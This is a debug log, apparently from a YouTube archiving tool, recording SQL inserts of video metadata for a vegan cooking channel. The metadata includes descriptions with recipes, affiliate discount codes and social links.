~U[2026-03-22 03:31:07Z], "The most in-depth review of the top mushroom coffee brands on YouTube! Have you tried Four Sigmatic, Ryze, Eightbillion or Mud/Wtr? What are your thoughts on mushroom coffee?\n\n✅ In this video, I review their ingredients, flavour, mixability, and talk about the benefits I experienced over 7 months of consistently drinking mushroom coffee every day. Let me know if you have any questions at all about any of them!\n\n🚨 DISCOUNT CODES - I reached out to each of these companies after this review requesting affiliate discount codes and was provided discounts for JostArriba and MudWtr and ignored by Ryze and Four SIgmatic. If you decide to use these codes, you get a discount and I receive a small affiliate commission which helps me pay for more products for reviews like this. \n\n🍄JostArriba by Eightbillion\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n🍄 Mud/Wtr: Save 15% off your first purchase OR $20 plus 15% off when you purchase a starter kit and subscribe\nLink: mudwtr.com/STEAMYVEGAN\n\nFour Sigmatic/Ryze - No discount codes provided by these companies\n\n🚨 UPDATE: Since posting this review video, I have become a brand ambassador for Eightbillion. I was not an ambassador at the time of filming this review, and all my opinions on each brand reviewed are MY OWN, and remain the same. The JostArriba mushroom coffee from Eightbillion has become a part of my daily routine that makes me feel my best and I continue to stand by my opinions of each brand in this video. \n\n\nIf you love vegan and gluten-free recipes, grocery hauls, and product reviews like this video then don't forget to subscribe, it makes a huge difference in growing this channel!\n\nCheck out more of my review and taste test videos here! ➡️ \u00A0\u00A0\u00A0•\u00A0REVIEWS\u00A0AND\u00A0TASTE\u00A0TESTS\u00A0🤔\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Mushroom Coffee In-Depth Review....Four Sigmatic, Ryze, Eightbillion, and MudWtr", 1, nil, false, "lTms3pPSEFk", "https://www.youtube.com/watch?v=lTms3pPSEFk", "/downloads/downloads/alec/Steamy Vegan/2024-08-17 Mushroom Coffee In-Depth Review....Four Sigmatic, Ryze, Eightbillion, and MudWtr/Mushroom Coffee In-Depth Review....Four Sigmatic, Ryze, Eightbillion, and MudWtr [lTms3pPSEFk].NA", false, ~U[2024-08-17 00:00:00Z]] 20:31:07.303 [debug] QUERY OK source="sources" db=0.5ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.307 [debug] QUERY OK source="media_items" db=2.5ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-14 00:00:00Z], 1] 20:31:07.308 [debug] QUERY OK source="media_items" db=1.1ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're trying Trader Joe's for the first time ever in this vegan, gluten-free taste test! Check out our full Trader Joe's vegan grocery haul here! ➡️ \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Grocery\u00A0Haul!\u00A0Vegan\u00A0&\u00A0Gluten\u00A0...\u00A0\u00A0\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trying Trader Joe’s for the First Time! Vegan & Gluten Free Taste Test", "737a152c-03bb-442e-9f1b-69d60281a5a4", 1, [], false, "jj9atLJIzKw", "https://www.youtube.com/watch?v=jj9atLJIzKw", 168, "/downloads/downloads/alec/Steamy Vegan/2024-08-14 Trying Trader Joe’s for the First Time! Vegan & Gluten Free Taste Test/Trying Trader Joe’s for the First Time! Vegan & Gluten Free Taste Test [jj9atLJIzKw].NA", false, false, false, 1, ~U[2024-08-14 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're trying Trader Joe's for the first time ever in this vegan, gluten-free taste test! Check out our full Trader Joe's vegan grocery haul here! ➡️ \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Grocery\u00A0Haul!\u00A0Vegan\u00A0&\u00A0Gluten\u00A0...\u00A0\u00A0\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trying Trader Joe’s for the First Time! Vegan & Gluten Free Taste Test", 1, nil, false, "jj9atLJIzKw", "https://www.youtube.com/watch?v=jj9atLJIzKw", "/downloads/downloads/alec/Steamy Vegan/2024-08-14 Trying Trader Joe’s for the First Time! Vegan & Gluten Free Taste Test/Trying Trader Joe’s for the First Time! Vegan & Gluten Free Taste Test [jj9atLJIzKw].NA", false, ~U[2024-08-14 00:00:00Z]] 20:31:07.309 [debug] QUERY OK source="sources" db=0.5ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.312 [debug] QUERY OK source="media_items" db=2.3ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-11 00:00:00Z], 1] 20:31:07.314 [debug] QUERY OK source="media_items" db=1.6ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These are all of our vegan and gluten free finds from our Trader Joe's grocery haul! How did we do?! Tell us if you've tried anything that we got in this haul 😊\n\nTOTAL SPENT: $130 USD/$180 CAD\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trader Joe's Grocery Haul! Vegan & Gluten Free", "280c8996-ce0b-4d71-a467-d25e90f4ff57", 1, [], false, "Qv8McxrXc3g", "https://www.youtube.com/watch?v=Qv8McxrXc3g", 169, "/downloads/downloads/alec/Steamy Vegan/2024-08-11 Trader Joe's Grocery Haul! Vegan & Gluten Free/Trader Joe's Grocery Haul! Vegan & Gluten Free [Qv8McxrXc3g].NA", false, false, false, 2, ~U[2024-08-11 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "These are all of our vegan and gluten free finds from our Trader Joe's grocery haul! How did we do?! Tell us if you've tried anything that we got in this haul 😊\n\nTOTAL SPENT: $130 USD/$180 CAD\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trader Joe's Grocery Haul! Vegan & Gluten Free", 1, nil, false, "Qv8McxrXc3g", "https://www.youtube.com/watch?v=Qv8McxrXc3g", "/downloads/downloads/alec/Steamy Vegan/2024-08-11 Trader Joe's Grocery Haul! Vegan & Gluten Free/Trader Joe's Grocery Haul! Vegan & Gluten Free [Qv8McxrXc3g].NA", false, ~U[2024-08-11 00:00:00Z]] 20:31:07.315 [debug] QUERY OK source="sources" db=0.5ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.317 [debug] QUERY OK source="media_items" db=1.9ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-08 00:00:00Z], 1] 20:31:07.320 [debug] QUERY OK source="media_items" db=1.8ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out what I eat in a day as a vegan! In this video I'm showing you all the easy and healthy vegan recipes that I enjoyed on a normal day as a food blogger. Mostly whole food plant based meals that were high-protein and gluten-free! Plus I share the brain-boosting drink that I've replaced my morning coffee with 😊\n\nWant to try JostArriba mushroom coffee for yourself? Use my code STEAMYVEGAN to save 20% off your first order! Use my affiliate link HERE ➡️ https://eightbillion.com/steamyvegan\n\n\n*JOSTARRIBA MOCHA BLISS BALLS*\n2 packets JostArriba\n2 oz hot water\n1 packed cup Medjool dates, pitted (12-14)\n3 tbsp tahini\n1 tsp vanilla\n½ cup oat flour\n¼ cup rolled oats\n2 tbsp cacao powder\n2 tbsp hemp hearts\n¼ tsp ground turmeric\nA couple grinds of black pepper\n¼ tsp salt\nOptional: ⅓ cup chopped toasted cashews\n\n*MANGO CURRIED LENTILS*\n1 tbsp oil\n2 tsp mustard seeds\n1 small white or yellow onion, chopped\n1 chopped tomato or 1 cup canned diced tomatoes\n1 tbsp curry powder\n2 cloves garlic, minced\n1½ cups dried split red lentils\n1 mango, diced\n3 cups water or veg broth\n¾ tsp salt\nFreshly cracked black pepper\n¾ cup vegan sour cream or plain vegan yogurt\nJuice of 1 lime\n\n1. Heat the oil in a large heavy pot over medium heat. Once the oil is shimmering, add the mustard seeds. Once they start to pop add the onion and tomato. Cook, stirring frequently until the onion has softened and is nice a fragrant and the tomatoes have released their juices, about 6 to 7 minutes. Stir in the curry powder and minced garlic. Continue to cook, stirring frequently for about 2 more minutes.\n2. Add the red lentils, mango and water/broth to the pot. Bring the mixture to a boil then turn heat to low. Cover and simmer until the lentils are tender, about 15 minutes. Uncover the pot and stir in the sour cream, lime juice, salt and pepper. Keep simmering uncovered until the lentils have thickened slightly and the sauce is hot once again.\n3. For a creamier texture, use an immersion blender and partially blend the lentils to your liking (even just a couple pulses is fine).\n4. Serve right away with flatbread, pita, with a grain or on its own, or transfer to storage containers and refrigerate for up to 5 days.\n\n\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat In a Day! Healthy Vegan Recipes", "e95ecdd9-3604-4e04-b088-8e16a72e0a78", 1, [], false, "WFcklsXyZPk", "https://www.youtube.com/watch?v=WFcklsXyZPk", 170, "/downloads/downloads/alec/Steamy Vegan/2024-08-08 What I Eat In a Day! Healthy Vegan Recipes/What I Eat In a Day! Healthy Vegan Recipes [WFcklsXyZPk].NA", false, false, false, 1, ~U[2024-08-08 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Check out what I eat in a day as a vegan! In this video I'm showing you all the easy and healthy vegan recipes that I enjoyed on a normal day as a food blogger. Mostly whole food plant based meals that were high-protein and gluten-free! Plus I share the brain-boosting drink that I've replaced my morning coffee with 😊\n\nWant to try JostArriba mushroom coffee for yourself? Use my code STEAMYVEGAN to save 20% off your first order! Use my affiliate link HERE ➡️ https://eightbillion.com/steamyvegan\n\n\n*JOSTARRIBA MOCHA BLISS BALLS*\n2 packets JostArriba\n2 oz hot water\n1 packed cup Medjool dates, pitted (12-14)\n3 tbsp tahini\n1 tsp vanilla\n½ cup oat flour\n¼ cup rolled oats\n2 tbsp cacao powder\n2 tbsp hemp hearts\n¼ tsp ground turmeric\nA couple grinds of black pepper\n¼ tsp salt\nOptional: ⅓ cup chopped toasted cashews\n\n*MANGO CURRIED LENTILS*\n1 tbsp oil\n2 tsp mustard seeds\n1 small white or yellow onion, chopped\n1 chopped tomato or 1 cup canned diced tomatoes\n1 tbsp curry powder\n2 cloves garlic, minced\n1½ cups dried split red lentils\n1 mango, diced\n3 cups water or veg broth\n¾ tsp salt\nFreshly cracked black pepper\n¾ cup vegan sour cream or plain vegan yogurt\nJuice of 1 lime\n\n1. Heat the oil in a large heavy pot over medium heat. Once the oil is shimmering, add the mustard seeds. Once they start to pop add the onion and tomato. Cook, stirring frequently until the onion has softened and is nice a fragrant and the tomatoes have released their juices, about 6 to 7 minutes. Stir in the curry powder and minced garlic. Continue to cook, stirring frequently for about 2 more minutes.\n2. Add the red lentils, mango and water/broth to the pot. Bring the mixture to a boil then turn heat to low. Cover and simmer until the lentils are tender, about 15 minutes. Uncover the pot and stir in the sour cream, lime juice, salt and pepper. Keep simmering uncovered until the lentils have thickened slightly and the sauce is hot once again.\n3. For a creamier texture, use an immersion blender and partially blend the lentils to your liking (even just a couple pulses is fine).\n4. Serve right away with flatbread, pita, with a grain or on its own, or transfer to storage containers and refrigerate for up to 5 days.\n\n\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u0 (truncated) 20:31:07.321 [debug] QUERY OK source="sources" db=0.9ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.323 [debug] QUERY OK source="media_items" db=1.8ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-04 00:00:00Z], 1] 20:31:07.325 [debug] QUERY OK source="media_items" db=1.4ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make some 4 ingredient 10 minute vegan recipes! Perfect for when you're feeling lazy AF 🥱 Vegan, gluten-free and made with mostly whole food ingredients!\n\nRECIPES\n\n*10 MIN TAQUITOS*\nCorn tortillas\nVegan cheese shreds\nCanned romano, pinto or black beans\nChopped green onion\n\nMelt/warm cheese on tortillas for 20 seconds, add desired fillings, roll and air fry for 4 mins at 425F\n\n*CRRRRRISPY KALE CHIPS*\nKale\n1 tbsp oil\n¼ tsp salt\n¼ tsp smoked paprika\n¼ tsp onion powder\n¼ tsp onion powder\n\nToss kale in oil, salt and optional spices and air fry for 10 mins at 300F (put in cold air fryer and then let them cool in the fryer after they've finished baking)\n\n*SESAME SNAP COOKIES* makes 6\n½ cup tahini\n6 tbsp granulated sweetener\n2 tbsp ground chia seeds\n2 tbsp finely chopped nuts or seeds (cashews, peanuts, sesame seeds)\n\nCombine all ingredients minus the chopped nuts and scoop out 6 dollops on a lined baking tray. Flatten and top with chopped nuts, bake for 12 mins at 350F\n\n\n*MISO TAHINI GARLIC BUTTER*\n4 tbsp vegan butter\n3 tbsp tahini\n1 tbsp white miso paste\n2 cloves garlic, minced\n\nCombine all ingredients together in a bowl and transfer to a sealable jar. Use as a spread on toasted breads, buns, pizza crusts and more!\n\n\nPROMO CODES & LINKS\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "4 Ingredient, 10 Minute Vegan Recipes For LAZY People", "cd62075c-471f-4505-af87-b84dc6bdfa5d", 1, [], false, "7QWf1NYbPsY", "https://www.youtube.com/watch?v=7QWf1NYbPsY", 171, "/downloads/downloads/alec/Steamy Vegan/2024-08-04 4 Ingredient, 10 Minute Vegan Recipes For LAZY People/4 Ingredient, 10 Minute Vegan Recipes For LAZY People [7QWf1NYbPsY].NA", false, false, false, 1, ~U[2024-08-04 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make some 4 ingredient 10 minute vegan recipes! Perfect for when you're feeling lazy AF 🥱 Vegan, gluten-free and made with mostly whole food ingredients!\n\nRECIPES\n\n*10 MIN TAQUITOS*\nCorn tortillas\nVegan cheese shreds\nCanned romano, pinto or black 